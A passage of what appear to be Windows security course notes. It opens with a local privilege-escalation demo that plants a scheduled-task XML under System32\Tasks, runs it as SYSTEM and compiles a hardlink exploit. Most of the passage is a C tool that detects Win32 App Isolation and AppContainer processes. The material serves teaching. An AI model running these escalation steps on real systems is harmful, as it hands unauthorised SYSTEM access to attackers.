# 3. Switch to ADMIN PowerShell and verify the file was written
dir C:\Windows\System32\Tasks\RG_LPE_Demo
# 4. Read the malicious task XML (shows SYSTEM principal)
Get-Content C:\Windows\System32\Tasks\RG_LPE_Demo
# 5. Register the task (proves XML is valid)
schtasks /create /tn RG_LPE_Demo_Test /xml C:\Windows\System32\Tasks\RG_LPE_Demo /f
# 6. Run the task as SYSTEM
schtasks /run /tn RG_LPE_Demo_Test
# 7. Verify SYSTEM execution (check Last Result: 0, Run As User: SYSTEM)
schtasks /query /tn RG_LPE_Demo_Test /v /fo list
# 8. Create a visible proof (file write instead of calc)
schtasks /create /tn RG_LPE_Proof /tr "cmd.exe /c echo PWNED > C:\Windows\Temp\pwned_by_system.txt" /sc onlogon /ru SYSTEM /rl highest /f
# 9. Execute the proof task
schtasks /run /tn RG_LPE_Proof
# 10. Verify file created by SYSTEM
dir C:\Windows\Temp\pwned_by_system.txt
type C:\Windows\Temp\pwned_by_system.txt
# 11. Cleanup
schtasks /delete /tn RG_LPE_Demo_Test /f
schtasks /delete /tn RG_LPE_Proof /f
del C:\Windows\System32\Tasks\RG_LPE_Demo
del C:\Windows\Temp\pwned_by_system.txt
#----
cl src\hardlink_task_lpe.c /Fe:bin\hardlink_task_lpe.exe /O2 advapi32.lib
.\bin\hardlink_task_lpe.exe
# defender blocks it, but it shows how it might have been worked
A new lightweight sandbox for traditional Win32 desktop applications. Unlike AppContainer (which requires UWP packaging), Win32 App Isolation allows any .exe to run in a restricted sandbox with capability-based access control.
// win32_app_isolation_detect.c - Detect isolated Win32 applications
// Compile: cl src\win32_app_isolation_detect.c /Fe:bin\win32_app_isolation_detect.exe advapi32.lib
#include <windows.h>
#include <sddl.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <string.h>
/*
Win32 App Isolation Detection:
══════════════════════════════
Isolated Win32 apps run with special token properties:
1. AppContainer-like SID (unique per app)
2. Security attributes marking them as "isolatedWin32"
3. Reduced integrity level
4. Virtualized file system and registry views
Detection approach:
- Check for AppContainer SID on the process token
- Look for "isolatedWin32" security attributes
- Check if the process has a virtualized registry root
- Examine the token's capabilities list
*/
// Custom structure definitions for security attributes
typedef struct _MY_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} MY_UNICODE_STRING, *PMY_UNICODE_STRING;
typedef struct _MY_TOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE {
ULONG64 Version;
MY_UNICODE_STRING Name;
} MY_TOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE, *PMY_TOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE;
typedef struct _MY_TOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE {
PVOID pValue;
ULONG ValueLength;
} MY_TOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE, *PMY_TOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE;
typedef struct _MY_TOKEN_SECURITY_ATTRIBUTE_V1 {
MY_UNICODE_STRING Name;
USHORT ValueType;
USHORT Reserved;
ULONG Flags;
ULONG ValueCount;
union {
PLONG64 pInt64;
PULONG64 pUint64;
PMY_UNICODE_STRING pString;
PMY_TOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE pFqbn;
PMY_TOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE pOctetString;
} Values;
} MY_TOKEN_SECURITY_ATTRIBUTE_V1, *PMY_TOKEN_SECURITY_ATTRIBUTE_V1;
typedef struct _MY_TOKEN_SECURITY_ATTRIBUTES_INFORMATION {
USHORT Version;
USHORT Reserved;
ULONG AttributeCount;
union {
PMY_TOKEN_SECURITY_ATTRIBUTE_V1 pAttributeV1;
} Attribute;
} MY_TOKEN_SECURITY_ATTRIBUTES_INFORMATION, *PMY_TOKEN_SECURITY_ATTRIBUTES_INFORMATION;
#define MY_TOKEN_SECURITY_ATTRIBUTE_TYPE_INVALID 0x00
#define MY_TOKEN_SECURITY_ATTRIBUTE_TYPE_INT64 0x01
#define MY_TOKEN_SECURITY_ATTRIBUTE_TYPE_UINT64 0x02
#define MY_TOKEN_SECURITY_ATTRIBUTE_TYPE_STRING 0x03
#define MY_TOKEN_SECURITY_ATTRIBUTE_TYPE_FQBN 0x04
#define MY_TOKEN_SECURITY_ATTRIBUTE_TYPE_SID 0x05
#define MY_TOKEN_SECURITY_ATTRIBUTE_TYPE_BOOLEAN 0x06
#define MY_TOKEN_SECURITY_ATTRIBUTE_TYPE_OCTET_STRING 0x10
// Function pointer for GetProcessMitigationPolicy
typedef BOOL (WINAPI *PFN_GetProcessMitigationPolicy)(
HANDLE hProcess,
int MitigationPolicy,
PVOID lpBuffer,
SIZE_T dwLength
);
BOOL CheckWin32kLockdown(HANDLE hProcess) {
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
if (!hKernel32) return FALSE;
PFN_GetProcessMitigationPolicy pfnGetProcessMitigationPolicy =
(PFN_GetProcessMitigationPolicy)GetProcAddress(hKernel32, "GetProcessMitigationPolicy");
if (!pfnGetProcessMitigationPolicy) return FALSE;
PROCESS_MITIGATION_SYSTEM_CALL_DISABLE_POLICY policy = {0};
if (pfnGetProcessMitigationPolicy(hProcess, ProcessSystemCallDisablePolicy,
&policy, sizeof(policy))) {
return policy.DisallowWin32kSystemCalls;
}
return FALSE;
}
BOOL GetTokenCapabilitiesDetailed(HANDLE hProcess, DWORD *pCapCount, PWSTR **ppCapNames) {
HANDLE hToken;
if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) {
return FALSE;
}
DWORD dwSize = 0;
GetTokenInformation(hToken, TokenCapabilities, NULL, 0, &dwSize);
if (dwSize == 0) {
CloseHandle(hToken);
return FALSE;
}
PTOKEN_GROUPS pCapabilities = (PTOKEN_GROUPS)malloc(dwSize);
if (!pCapabilities) {
CloseHandle(hToken);
return FALSE;
}
BOOL result = FALSE;
if (GetTokenInformation(hToken, TokenCapabilities, pCapabilities, dwSize, &dwSize)) {
*pCapCount = pCapabilities->GroupCount;
if (ppCapNames && pCapabilities->GroupCount > 0) {
*ppCapNames = (PWSTR*)malloc(sizeof(PWSTR) * pCapabilities->GroupCount);
if (*ppCapNames) {
for (DWORD i = 0; i < pCapabilities->GroupCount; i++) {
ConvertSidToStringSidW(pCapabilities->Groups[i].Sid, &(*ppCapNames)[i]);
}
}
}
result = TRUE;
}
free(pCapabilities);
CloseHandle(hToken);
return result;
}
BOOL GetProcessIntegrityLevel(HANDLE hProcess, DWORD *pIntegrityLevel) {
HANDLE hToken;
if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) {
return FALSE;
}
DWORD dwSize = 0;
GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &dwSize);
PTOKEN_MANDATORY_LABEL pTIL = (PTOKEN_MANDATORY_LABEL)malloc(dwSize);
if (!pTIL) {
CloseHandle(hToken);
return FALSE;
}
BOOL result = FALSE;
if (GetTokenInformation(hToken, TokenIntegrityLevel, pTIL, dwSize, &dwSize)) {
*pIntegrityLevel = *GetSidSubAuthority(pTIL->Label.Sid,
(DWORD)(UCHAR)(*GetSidSubAuthorityCount(pTIL->Label.Sid) - 1));
result = TRUE;
}
free(pTIL);
CloseHandle(hToken);
return result;
}
BOOL GetAppContainerSid(HANDLE hProcess, PWSTR *ppSidString) {
HANDLE hToken;
if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) {
return FALSE;
}
DWORD dwSize = 0;
GetTokenInformation(hToken, TokenAppContainerSid, NULL, 0, &dwSize);
if (dwSize == 0) {
CloseHandle(hToken);
return FALSE;
}
PTOKEN_APPCONTAINER_INFORMATION pAppContainer = (PTOKEN_APPCONTAINER_INFORMATION)malloc(dwSize);
if (!pAppContainer) {
CloseHandle(hToken);
return FALSE;
}
BOOL result = FALSE;
if (GetTokenInformation(hToken, TokenAppContainerSid, pAppContainer, dwSize, &dwSize)) {
if (pAppContainer->TokenAppContainer) {
ConvertSidToStringSidW(pAppContainer->TokenAppContainer, ppSidString);
result = TRUE;
}
}
free(pAppContainer);
CloseHandle(hToken);
return result;
}
BOOL GetTokenCapabilities(HANDLE hProcess, DWORD *pCapCount) {
HANDLE hToken;
if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) {
return FALSE;
}
DWORD dwSize = 0;
GetTokenInformation(hToken, TokenCapabilities, NULL, 0, &dwSize);
if (dwSize == 0) {
CloseHandle(hToken);
return FALSE;
}
PTOKEN_GROUPS pCapabilities = (PTOKEN_GROUPS)malloc(dwSize);
if (!pCapabilities) {
CloseHandle(hToken);
return FALSE;
}
BOOL result = FALSE;
if (GetTokenInformation(hToken, TokenCapabilities, pCapabilities, dwSize, &dwSize)) {
*pCapCount = pCapabilities->GroupCount;
result = TRUE;
}
free(pCapabilities);
CloseHandle(hToken);
return result;
}
BOOL IsProcessIsolatedWin32(HANDLE hProcess, BOOL verbose) {
HANDLE hToken;
if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) {
return FALSE;
}
// Check 1: Is this an AppContainer token?
DWORD isAppContainer = 0;
DWORD size = sizeof(isAppContainer);
if (!GetTokenInformation(hToken, TokenIsAppContainer, &isAppContainer, size, &size)) {
CloseHandle(hToken);
return FALSE;
}
if (!isAppContainer) {
CloseHandle(hToken);
return FALSE;
}
if (verbose) {
printf(" [+] AppContainer: YES\n");
// Get integrity level
DWORD integrityLevel = 0;
if (GetProcessIntegrityLevel(hProcess, &integrityLevel)) {
printf(" [+] Integrity Level: 0x%X ", integrityLevel);
if (integrityLevel < SECURITY_MANDATORY_LOW_RID) {
printf("(Untrusted)\n");
} else if (integrityLevel < SECURITY_MANDATORY_MEDIUM_RID) {
printf("(Low)\n");
} else if (integrityLevel < SECURITY_MANDATORY_HIGH_RID) {
printf("(Medium)\n");
} else {
printf("(High/System)\n");
}
}
// Get AppContainer SID
PWSTR sidString = NULL;
if (GetAppContainerSid(hProcess, &sidString)) {
printf(" [+] AppContainer SID: %S\n", sidString);
LocalFree(sidString);
}
// Get capabilities count
DWORD capCount = 0;
if (GetTokenCapabilities(hProcess, &capCount)) {
printf(" [+] Capabilities: %d\n", capCount);
}
}
// Check 2: Query security attributes for "isolatedWin32" markers
DWORD attrSize = 0;
GetTokenInformation(hToken, (TOKEN_INFORMATION_CLASS)73, NULL, 0, &attrSize); // TokenSecurityAttributes = 73
BOOL hasIsolationAttrs = FALSE;
if (attrSize > 0) {
PVOID attrBuf = malloc(attrSize);
if (attrBuf && GetTokenInformation(hToken, (TOKEN_INFORMATION_CLASS)73,
attrBuf, attrSize, &attrSize)) {
PMY_TOKEN_SECURITY_ATTRIBUTES_INFORMATION pAttrs =
(PMY_TOKEN_SECURITY_ATTRIBUTES_INFORMATION)attrBuf;
if (verbose && pAttrs->AttributeCount > 0) {
printf(" [+] Security Attributes:\n");
}
for (DWORD i = 0; i < pAttrs->AttributeCount; i++) {
PMY_TOKEN_SECURITY_ATTRIBUTE_V1 attr = &pAttrs->Attribute.pAttributeV1[i];
if (attr->Name.Buffer) {
if (verbose) {
printf(" - %S\n", attr->Name.Buffer);
}
// Check for Win32 App Isolation markers
if (wcsstr(attr->Name.Buffer, L"WIN://SYSAPPID") ||
wcsstr(attr->Name.Buffer, L"WIN://PKG") ||
wcsstr(attr->Name.Buffer, L"WIN://NOALLAPPPKG")) {
hasIsolationAttrs = TRUE;
}
}
}
}
if (attrBuf) free(attrBuf);
}
CloseHandle(hToken);
return isAppContainer && hasIsolationAttrs;
}
BOOL GetPackageFamilyName(HANDLE hProcess, PWSTR *ppPackageName) {
typedef LONG (WINAPI *PFN_GetPackageFamilyName)(HANDLE, UINT32*, PWSTR);
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
if (!hKernel32) return FALSE;
PFN_GetPackageFamilyName pfnGetPackageFamilyName =
(PFN_GetPackageFamilyName)GetProcAddress(hKernel32, "GetPackageFamilyName");
if (!pfnGetPackageFamilyName) return FALSE;
UINT32 length = 0;
LONG result = pfnGetPackageFamilyName(hProcess, &length, NULL);
if (result != ERROR_INSUFFICIENT_BUFFER || length == 0) {
return FALSE;
}
*ppPackageName = (PWSTR)malloc(length * sizeof(WCHAR));
if (!*ppPackageName) return FALSE;
result = pfnGetPackageFamilyName(hProcess, &length, *ppPackageName);
if (result != ERROR_SUCCESS) {
free(*ppPackageName);
*ppPackageName = NULL;
return FALSE;
}
return TRUE;
}
typedef struct _ISOLATION_INFO {
BOOL isAppContainer;
BOOL hasIsolationAttrs;
BOOL hasWin32kLockdown;
BOOL hasPackageIdentity;
DWORD integrityLevel;
DWORD capabilityCount;
PWSTR appContainerSid;
PWSTR packageFamilyName;
PWSTR *capabilityNames;
WCHAR **securityAttributes;
DWORD securityAttributeCount;
} ISOLATION_INFO, *PISOLATION_INFO;
void FreeIsolationInfo(PISOLATION_INFO pInfo) {
if (!pInfo) return;
if (pInfo->appContainerSid) {
LocalFree(pInfo->appContainerSid);
}
if (pInfo->packageFamilyName) {
free(pInfo->packageFamilyName);
}
if (pInfo->capabilityNames) {
for (DWORD i = 0; i < pInfo->capabilityCount; i++) {
if (pInfo->capabilityNames[i]) {
LocalFree(pInfo->capabilityNames[i]);
}
}
free(pInfo->capabilityNames);
}
if (pInfo->securityAttributes) {
for (DWORD i = 0; i < pInfo->securityAttributeCount; i++) {
if (pInfo->securityAttributes[i]) {
free(pInfo->securityAttributes[i]);
}
}
free(pInfo->securityAttributes);
}
}
BOOL AnalyzeProcessIsolation(HANDLE hProcess, PISOLATION_INFO pInfo) {
ZeroMemory(pInfo, sizeof(ISOLATION_INFO));
HANDLE hToken;
if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) {
return FALSE;
}
// Check 1: Is this an AppContainer token?
DWORD isAppContainer = 0;
DWORD size = sizeof(isAppContainer);
if (GetTokenInformation(hToken, TokenIsAppContainer, &isAppContainer, size, &size)) {
pInfo->isAppContainer = isAppContainer;
}
if (!pInfo->isAppContainer) {
CloseHandle(hToken);
return FALSE;
}
// Check 2: Get integrity level
GetProcessIntegrityLevel(hProcess, &pInfo->integrityLevel);
// Check 3: Get AppContainer SID
GetAppContainerSid(hProcess, &pInfo->appContainerSid);
// Check 4: Get capabilities
GetTokenCapabilitiesDetailed(hProcess, &pInfo->capabilityCount, &pInfo->capabilityNames);
// Check 5: Check Win32k lockdown
pInfo->hasWin32kLockdown = CheckWin32kLockdown(hProcess);
// Check 6: Get package family name
pInfo->hasPackageIdentity = GetPackageFamilyName(hProcess, &pInfo->packageFamilyName);
// Check 7: Query security attributes for "isolatedWin32" markers
DWORD attrSize = 0;
GetTokenInformation(hToken, (TOKEN_INFORMATION_CLASS)73, NULL, 0, &attrSize);
if (attrSize > 0) {
PVOID attrBuf = malloc(attrSize);
if (attrBuf && GetTokenInformation(hToken, (TOKEN_INFORMATION_CLASS)73, attrBuf, attrSize, &attrSize)) {
PMY_TOKEN_SECURITY_ATTRIBUTES_INFORMATION pAttrs = (PMY_TOKEN_SECURITY_ATTRIBUTES_INFORMATION)attrBuf;
if (pAttrs->AttributeCount > 0) {
pInfo->securityAttributes = (WCHAR**)malloc(sizeof(WCHAR*) * pAttrs->AttributeCount);
pInfo->securityAttributeCount = pAttrs->AttributeCount;
for (DWORD i = 0; i < pAttrs->AttributeCount; i++) {
PMY_TOKEN_SECURITY_ATTRIBUTE_V1 attr = &pAttrs->Attribute.pAttributeV1[i];
if (attr->Name.Buffer && attr->Name.Length > 0) {
size_t bufLen = attr->Name.Length + sizeof(WCHAR);
pInfo->securityAttributes[i] = (WCHAR*)malloc(bufLen);
if (pInfo->securityAttributes[i]) {
wcsncpy_s(pInfo->securityAttributes[i], bufLen / sizeof(WCHAR),
attr->Name.Buffer, attr->Name.Length / sizeof(WCHAR));
}
// Check for Win32 App Isolation markers
if (wcsstr(attr->Name.Buffer, L"WIN://SYSAPPID") ||
wcsstr(attr->Name.Buffer, L"WIN://PKG") ||
wcsstr(attr->Name.Buffer, L"WIN://NOALLAPPPKG")) {
pInfo->hasIsolationAttrs = TRUE;
}
} else {
pInfo->securityAttributes[i] = NULL;
}
}
}
}
if (attrBuf) free(attrBuf);
}
CloseHandle(hToken);
return TRUE;
}
void PrintIsolationInfo(const char *processName, DWORD pid, PISOLATION_INFO pInfo) {
printf("\n|================================================================|\n");
printf("| Process: %-50s |\n", processName);
printf("| PID: %-56d |\n", pid);
printf("|=================================================================|\n");
printf("| AppContainer: %-37s |\n", pInfo->isAppContainer ? "YES" : "NO");
printf("| Isolation Attributes: %-36s |\n", pInfo->hasIsolationAttrs ? "YES" : "NO");
printf("| Win32k Lockdown: %-37s |\n", pInfo->hasWin32kLockdown ? "YES" : "NO");
printf("| Package Identity: %-37s |\n", pInfo->hasPackageIdentity ? "YES" : "NO");
printf("| Integrity Level: 0x%04X ", pInfo->integrityLevel);
if (pInfo->integrityLevel < SECURITY_MANDATORY_LOW_RID) {
printf("%-28s |\n", "(Untrusted)");
} else if (pInfo->integrityLevel < SECURITY_MANDATORY_MEDIUM_RID) {
printf("%-28s |\n", "(Low)");
} else if (pInfo->integrityLevel < SECURITY_MANDATORY_HIGH_RID) {
printf("%-28s |\n", "(Medium)");
} else {
printf("%-28s |\n", "(High/System)");
}
printf("| Capabilities: %-37d |\n", pInfo->capabilityCount);
if (pInfo->appContainerSid) {
printf("|===============================================================|\n");
printf("| AppContainer SID: |\n");
wprintf(L"| %s", pInfo->appContainerSid);
int sidLen = wcslen(pInfo->appContainerSid);
for (int i = sidLen + 4; i < 63; i++) printf(" ");
printf("|\n");
}
if (pInfo->packageFamilyName) {
printf("|===============================================================|\n");
printf("| Package Family Name: |\n");
wprintf(L"| %s", pInfo->packageFamilyName);
int pkgLen = wcslen(pInfo->packageFamilyName);
for (int i = pkgLen + 4; i < 63; i++) printf(" ");
printf("|\n");
}
if (pInfo->capabilityCount > 0 && pInfo->capabilityNames) {
printf("|===============================================================|\n");
printf("| Capabilities (first 5): |\n");
for (DWORD i = 0; i < pInfo->capabilityCount && i < 5; i++) {
if (pInfo->capabilityNames[i]) {
wprintf(L"| %d. %s", i+1, pInfo->capabilityNames[i]);
int capLen = wcslen(pInfo->capabilityNames[i]);
for (int j = capLen + 6; j < 63; j++) printf(" ");
printf("|\n");
}
}
if (pInfo->capabilityCount > 5) {
printf("| ... and %d more ",
pInfo->capabilityCount - 5);
int numLen = (pInfo->capabilityCount - 5 >= 10) ? 2 : 1;
for (int i = numLen + 14; i < 59; i++) printf(" ");
printf("|\n");
}
}
if (pInfo->securityAttributeCount > 0 && pInfo->securityAttributes) {
printf("|===============================================================|\n");
printf("| Security Attributes (first 8): |\n");
for (DWORD i = 0; i < pInfo->securityAttributeCount && i < 8; i++) {
if (pInfo->securityAttributes[i]) {
wprintf(L"| • %s", pInfo->securityAttributes[i]);
int attrLen = wcslen(pInfo->securityAttributes[i]);
for (int j = attrLen + 5; j < 63; j++) printf(" ");
printf("|\n");
}
}
if (pInfo->securityAttributeCount > 8) {
printf("| ... and %d more ",
pInfo->securityAttributeCount - 8);
int numLen = (pInfo->securityAttributeCount - 8 >= 10) ? 2 : 1;
for (int i = numLen + 14; i < 59; i++) printf(" ");
printf("|\n");
}
}
printf("|===============================================================|\n");
// Determine isolation level
if (pInfo->hasIsolationAttrs && pInfo->hasWin32kLockdown) {
printf("\n>>> STRONG ISOLATION: Win32 App Isolation with Win32k Lockdown <<<\n");
} else if (pInfo->hasIsolationAttrs) {
printf("\n>>> MODERATE ISOLATION: Win32 App Isolation <<<\n");
} else if (pInfo->isAppContainer) {
printf("\n>>> BASIC ISOLATION: AppContainer (UWP/MSIX) <<<\n");
}
}
void ScanForIsolatedAppsEnhanced(BOOL showAll) {
printf("===============================================================\n");
printf(" Win32 App Isolation - Comprehensive Process Scan\n");
printf("===============================================================\n");
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create process snapshot (Error: %d)\n", GetLastError());
return;
}
PROCESSENTRY32 pe = { sizeof(pe) };
int isolated_count = 0;
int appcontainer_count = 0;
int strong_isolation_count = 0;
if (Process32First(hSnapshot, &pe)) {
do {
HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pe.th32ProcessID);
if (!hProc) continue;
ISOLATION_INFO info;
if (AnalyzeProcessIsolation(hProc, &info)) {
appcontainer_count++;
if (info.hasIsolationAttrs) {
isolated_count++;
if (info.hasWin32kLockdown) {
strong_isolation_count++;
}
PrintIsolationInfo(pe.szExeFile, pe.th32ProcessID, &info);
} else if (showAll) {
// Show all AppContainer processes even if not isolated
PrintIsolationInfo(pe.szExeFile, pe.th32ProcessID, &info);
}
FreeIsolationInfo(&info);
}
CloseHandle(hProc);
} while (Process32Next(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
printf("\n==============================================================\n");
printf(" Scan Summary\n");
printf("==============================================================\n");
printf(" Total AppContainer processes: %d\n", appcontainer_count);
printf(" Isolated Win32 processes: %d\n", isolated_count);
printf(" Strong isolation (Win32k locked): %d\n", strong_isolation_count);
printf("==============================================================\n");
if (isolated_count == 0 && appcontainer_count > 0) {
printf("\n[i] Note: Found %d AppContainer processes but none with Win32 App\n", appcontainer_count);
printf(" Isolation markers. This is expected on Windows < 11 24H2 or if\n");
printf(" no isolated Win32 apps are currently running.\n");
printf("\n[i] Run with '-v' flag to see details of all AppContainer processes.\n");
}
}
void ScanForIsolatedApps() {
printf("=== Win32 App Isolation - Process Scan ===\n\n");
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create process snapshot\n");
return;
}
PROCESSENTRY32 pe = { sizeof(pe) };
int isolated_count = 0;
int appcontainer_count = 0;
if (Process32First(hSnapshot, &pe)) {
do {
HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pe.th32ProcessID);
if (!hProc) continue;
HANDLE hToken;
if (OpenProcessToken(hProc, TOKEN_QUERY, &hToken)) {
DWORD isAppContainer = 0;
DWORD size = sizeof(isAppContainer);
if (GetTokenInformation(hToken, TokenIsAppContainer, &isAppContainer, size, &size)) {
if (isAppContainer) {
appcontainer_count++;
printf("\n[APPCONTAINER] %s (PID %d)\n", pe.szExeFile, pe.th32ProcessID);
if (IsProcessIsolatedWin32(hProc, TRUE)) {
printf(" >>> ISOLATED WIN32 APP <<<\n");
isolated_count++;
}
}
}
CloseHandle(hToken);
}
CloseHandle(hProc);
} while (Process32Next(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
printf("\n[*] Found %d AppContainer processes\n", appcontainer_count);
printf("[*] Found %d isolated Win32 processes\n", isolated_count);
}
int main(int argc, char *argv[]) {
BOOL verbose = FALSE;
// Parse command line arguments
for (int i = 1; i < argc; i++) {
if (strcmp(argv[i], "-v") == 0 || strcmp(argv[i], "--verbose") == 0) {
verbose = TRUE;
} else if (strcmp(argv[i], "-h") == 0 || strcmp(argv[i], "--help") == 0) {
printf("Usage: %s [OPTIONS]\n\n", argv[0]);
printf("Options:\n");
printf(" -v, --verbose Show all AppContainer processes (not just isolated)\n");
printf(" -h, --help Show this help message\n\n");
printf("Description:\n");
printf(" Scans for Win32 App Isolation processes on Windows 11 24H2+.\n");
printf(" By default, only shows processes with isolation markers.\n");
printf(" Use -v to see all AppContainer processes.\n\n");
return 0;
}
}
printf("\n");
printf("|===============================================================|\n");
printf("| |\n");
printf("| Win32 App Isolation Detection & Analysis |\n");
printf("| |\n");
printf("|===============================================================|\n");
printf("\n");
ScanForIsolatedAppsEnhanced(verbose);
return 0;
}
Connection to Week 8 (Mitigation Bypass):\\
Week 8 dives deeper into specific bypass techniques:
Connection to Week 10 (EDR Evasion):
Week 10 covers operational evasion: